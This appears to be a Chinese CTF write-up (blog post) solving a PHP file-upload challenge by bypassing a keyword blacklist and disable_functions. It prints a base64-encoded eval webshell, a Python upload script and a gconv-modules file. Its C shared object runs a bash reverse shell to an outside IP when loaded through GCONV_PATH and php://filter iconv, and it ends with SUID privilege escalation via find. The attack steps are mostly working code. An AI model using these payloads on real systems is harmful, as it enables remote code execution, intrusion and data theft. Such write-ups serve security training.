readline_callback_handler_install, readline_callback_read_char, readline_callback_handler_remove, readline_redisplay, readline_on_new_line, shmop_open, shmop_read, shmop_close, shmop_size, shmop_write, shmop_delete, simplexml_load_file, simplexml_load_string, simplexml_import_dom, socket_select, socket_create, socket_create_listen, socket_create_pair, socket_accept, socket_set_nonblock, socket_set_block, socket_listen, socket_close, socket_write, socket_read, socket_getsockname, socket_getpeername, socket_connect, socket_strerror, socket_bind, socket_recv, socket_send, socket_recvfrom, socket_sendto, socket_get_option, socket_set_option, socket_shutdown, socket_last_error, socket_clear_error, socket_import_stream, socket_export_stream, socket_sendmsg, socket_recvmsg, socket_cmsg_space, socket_addrinfo_lookup, socket_addrinfo_connect, socket_addrinfo_bind, socket_addrinfo_explain, socket_getopt, socket_setopt, msg_get_queue, msg_send, msg_receive, msg_remove_queue, msg_stat_queue, msg_set_queue, msg_queue_exists, sem_get, sem_acquire, sem_release, sem_remove, shm_attach, shm_remove, shm_detach, shm_put_var, shm_has_var, shm_get_var, shm_remove_var, token_get_all, token_name, xmlwriter_open_uri, xmlwriter_open_memory, xmlwriter_set_indent, xmlwriter_set_indent_string, xmlwriter_start_comment, xmlwriter_end_comment, xmlwriter_start_attribute, xmlwriter_end_attribute, xmlwriter_write_attribute, xmlwriter_start_attribute_ns, xmlwriter_write_attribute_ns, xmlwriter_start_element, xmlwriter_end_element, xmlwriter_full_end_element, xmlwriter_start_element_ns, xmlwriter_write_element, xmlwriter_write_element_ns, xmlwriter_start_pi, xmlwriter_end_pi, xmlwriter_write_pi, xmlwriter_start_cdata, xmlwriter_end_cdata, xmlwriter_write_cdata, xmlwriter_text, xmlwriter_write_raw, xmlwriter_start_document, xmlwriter_end_document, xmlwriter_write_comment, xmlwriter_start_dtd, xmlwriter_end_dtd, xmlwriter_write_dtd, xmlwriter_start_dtd_element, xmlwriter_end_dtd_element, xmlwriter_write_dtd_element, xmlwriter_start_dtd_attlist, xmlwriter_end_dtd_attlist, xmlwriter_write_dtd_attlist, xmlwriter_start_dtd_entity, xmlwriter_end_dtd_entity, xmlwriter_write_dtd_entity, xmlwriter_output_memory, xmlwriter_flush, zip_open, zip_close, zip_read, zip_entry_open, zip_entry_close, zip_entry_read, zip_entry_filesize, zip_entry_name, zip_entry_compressedsize, zip_entry_compressionmethod, opcache_reset, opcache_invalidate, opcache_compile_file, opcache_is_script_cached, opcache_get_configuration, opcache_get_status,

给一些常用的危险函数:

 ------------------------------------------------执行(系统)函数
 eval
 exec - 执行一个外部程序
 shell_exec
 system
 passthru
 proc_open
 pcntl_exec — 在当前进程空间执行指定程序
 pcntl_fork  在当前进程当前位置产生分支(子进程)。
 dl — 运行时载入一个 PHP 扩展
 unserialize - 反序列化一个类函数nashell
 ------------------------------------------------显示源码	
 phpinfo
 readfile
 readline
 show_source
 heighlight
 heighlight_string
 curl
 file 
 ------------------------------------------------回调函数
 array_walk
 array_walk_recursive
 array_map
 call_user_func_array
 call_user_func
 ------------------------------------------------数组使用回调函数过滤
 array_filter
 filter_var
 filter_var_array
 ------------------------------------------------写入文件
 fopen
 fwrite
 file_put_contents - 将数据写入文件中
 file-get-contents - 获取参数的文件资源
 move_uploaded_file - 将上传的文件移动到新位置
 ------------------------------------------------命令字符串转义
 escapeshellcmd - 对特殊字符转义
 escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
 ------------------------------------------------其他
 proc_terminate — 杀除由 proc_open 打开的进程
 touch - 设定文件的访问和修改时间

根据上面这个单子直接找了一下, 发现执行(系统)函数的全都寄了, 不过读取文件倒是还有show_source这个救星没被ban

但是上传文件发现show_sourc都还没问题, 但是变成完整的show_source就上传失败

image-20220327175740139

怀疑后台源码应该是还有别的Waf, 但是这个问题不大, 试了一下show_source函数还是可以动态加载的, 所以直接使用一下编码即可, 有点离谱的是原本我想直接用URL编码的但是不管我编码多少次都还是会被发现, 所以不得不选其它的编码了, 然后试了一下base64就没问题, base64_decode也没被ban(没想到 iconv被ban了)所以可以直接用base64编码。

image-20220327180714071

然后直接拿源码

<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    嘿伙计,传个火?!
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }

    
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

可以看到,确实有Waf, 而且玩的挺变态的, 在有那么多disable_functions的情况下还过滤了那么多的字符串, 原本还想直接include远程包含文件的不过allow_url_include已经关了(也可以配合php://伪协议)但是allow_url_fopen开着, 这就意味着我们可以任意下载远程文件。

期初我直接搜了一下ini_set看到被ban了我还以为会设置有open_basedir限制, 不过没想到居然完全没限制, 那应该是可以直接执行读/flag操作了(并不是)

image-20220327181018645

既然没有目录限制那就毫不客气直接找读文件的函数了, 结果发现源码用了file_get_contentsmove_uploaded_file

使用file_get_contents读一下/etc/passwd确实可以:

image-20220327181610678

想直接读/flag的, 结果被 Permission denied制裁了:

image-20220327181708911

看了下配置文件也没什么特殊服务(/etc/apache2/sites-enabled/000-default.conf):

image-20220327183423194

所以这应该就涉及到提权了, 因为没有shell所以就去看了一下有没有FPM服务, 遗憾的是并没有, 另外中间件也不是Nginx(要不就可以像虎符一样提权了)。想到了命令注入搜了一下看到putenv发现没被ban但是看了一下系统版本是Debian, 所以试了一下其他的思路:

pcntl_exec这个可以打开子进程的函数可能是突破口(一开始想到LD_PRELOA但是没用着, 根据报错貌似是没加载这个函数pcntl_fork 也是一样)

image-20220327193131294

CVE-2021-4034 是个提权漏洞, 但是也用到了动态加载库, 详细的后面我在写一篇文章, 这个还是挺经典的。

大概原理就是:

  • pkexec文件会执行validate_environment_variable (key, value)用于检测key所对应的环境变量是否合法。若key所对应的环境变量不合法则会采用g_printerr函数打印信息,log_message函数内部也是调用了g_printerr进行信息的打印。

  • exp利用g_printerr打印错误信息时特殊的执行流程进行getshell。

  • 当Linux中CHARSET不是设置为UTF-8格式,则会调用iconv,用于将文本从一种编码转化为另一种编码。在调用iconv之前需要通过使用iconv_open分配转化描述符号。iconv_open函数会受到GCONV_PATH环境变量影响

  • 若GCONV_PATH未设置,那么iconv_open会加载系统默认的模块配置的缓存文件。 默认的配置文件位于/usr/lib/gconv/gconv-modules

    image-20220328001146350

  • 若GCONV_PATH被设置,则会优先加载设置路径下的配置文件。查看默认的配置文件信息gconv-modules,该配置文件指定了编码转换的键值对,并且通过指定的so文件执行转换。

  • main_g_printerr.c文件中调用了g_printerr函数,而exp.c则是我们稍后需要编译成.so的文件,尝试利用g_printerr函数执行自行编译的so库。

我们可以使用gconv-modules配合利用传到/tmp下的exp.so文件加载动态链接库即可反弹shell。

下面是利用过程:

准备gconv-modules

先准备一个gconv-modules文件上传到/tmp/gconv-modules

module  EXP//    INTERNAL    ../../../../../../../../tmp/exp    2
module  INTERNAL   EXP//    ../../../../../../../../tmp/exp    2

准备exp.so

工具人exp.c:

#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>

void gconv()
{
}

void gconv_init(void *step)
{
system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18/4444 <&1'");
exit(0);
}

编译得到so文件

gcc exp.c -o exp.so -shared -fPIC

通过上传exp.so到/tmp/exp.so

然后上传一个base64编码的temp.php文件得到文件up_file1.php

temp.php文件源码:
<?php
class run{

    function __construct(){
        @eval($_REQUEST[0]);
        $this->upload();
        echo "\nSuccess";
        @eval($_REQUEST[1]);
    }

    function upload(){
        echo "\n/tmp/gconv-modules";
        $temp_file2 = $_FILES['upload_file1']['tmp_name'];
        move_uploaded_file($temp_file2,"/tmp/gconv-modules");
        echo file_get_contents("/tmp/gconv-modules");

        echo "\n/tmp/exp.so";
        $temp_file4 = $_FILES['upload_file2']['tmp_name'];
        move_uploaded_file($temp_file4,"/tmp/exp.so");
        echo file_get_contents("/tmp/exp.so");

    }
}
?>
上传编码:
PD9waHAKY2xhc3MgcnVuewoKICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgQGV2YWwoJF9SRVFVRVNUWzBdKTsKICAgICAgICAkdGhpcy0+dXBsb2FkKCk7CiAgICAgICAgZWNobyAiXG5TdWNjZXNzIjsKICAgICAgICBAZXZhbCgkX1JFUVVFU1RbMV0pOwogICAgfQoKICAgIGZ1bmN0aW9uIHVwbG9hZCgpewogICAgICAgIGVjaG8gIlxuL3RtcC9nY29udi1tb2R1bGVzIjsKICAgICAgICAkdGVtcF9maWxlMiA9ICRfRklMRVNbJ3VwbG9hZF9maWxlMSddWyd0bXBfbmFtZSddOwogICAgICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkdGVtcF9maWxlMiwiL3RtcC9nY29udi1tb2R1bGVzIik7CgogICAgICAgIGVjaG8gIlxuL3RtcC9leHAuc28iOwogICAgICAgICR0ZW1wX2ZpbGU0ID0gJF9GSUxFU1sndXBsb2FkX2ZpbGUyJ11bJ3RtcF9uYW1lJ107CiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCR0ZW1wX2ZpbGU0LCIvdG1wL2V4cC5zbyIpOwoKICAgIH0KfQo/Pg==

image-20220327225503339

然后再写一个包含up_file1.php的文件得到up_file2.php

这里既可以用include也可以用require, 两个都没被ban掉

<?php
Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mM2I5NGU4OGJkMWJkMzI1YWY2ZjYyODI4Yzg3ODVkZC5waHA="));new run();

image-20220327230027680

然後访问up_file2.php就可以任意命令执行和上传文件, 命令执行效果如下

image-20220327225915447

上传exp.so和gconv-modules

通过python脚本上传文件:

import requests,threading

def upload(url,file,command):
    files = [
        ('upload_file1', ('gconv-modules.php', file[0] , 'application/octet-stream')),
        ('upload_file2', ('exp.php', file[1], 'application/octet-stream')),
    ]
    data = command
    r=requests.post(
        url,
        data=data,
        files=files,
    )
    print(r.text)

target="http://825c0070-d4b4-41c8-90bf-0cd0bb506533.node4.buuoj.cn:81/uploads/9bc09ee4e0eb91840f7c5207e1d84852.php"
file=open("gconv-modules", "rb").read()
exp=open("exp.so", "rb").read()
command={"0":'echo "\neval1";',"1":'echo "\neval2";'}
files=[file,exp]
upload(target,files,command)

image-20220327230610045

php://filter触发加载exp.so动态链接库

最后通过调用iconv加载exp.so触发CVE-2021-4034 pkexec:

putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');

直接修改一下py脚本即可:

command={"0":'echo "\neval1";',"1":'echo "\neval1";'}
command["1"]='echo file_get_contents("/tmp/gconv-modules")."\n".file_get_contents("/tmp/exp.so");'+\
             'putenv("GCONV_PATH=/tmp/");include("php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so");'
files=[file,exp]
upload(target,files,command)

注意: 我们可以通过file_get_contents输出上传文件是否成功, 但是如果后面加了反弹shell的命令后就不会有回显了, 直接去服务器有没有shell即可, 要是没有的话加个循环多执行几次脚本

然后就可以nc -Vlp port坐等shell了

image-20220327233218542

接下来就是提权了

SUID提权

find / -user root -perm /4000 2>/dev/null

image-20220327220015362

可以看到nl可用, 直接读取文件

image-20220327220058175

结束了, 收工收工img

posted @ 2022-04-25 12:37  h0cksr  阅读(379)  评论(0编辑  收藏  举报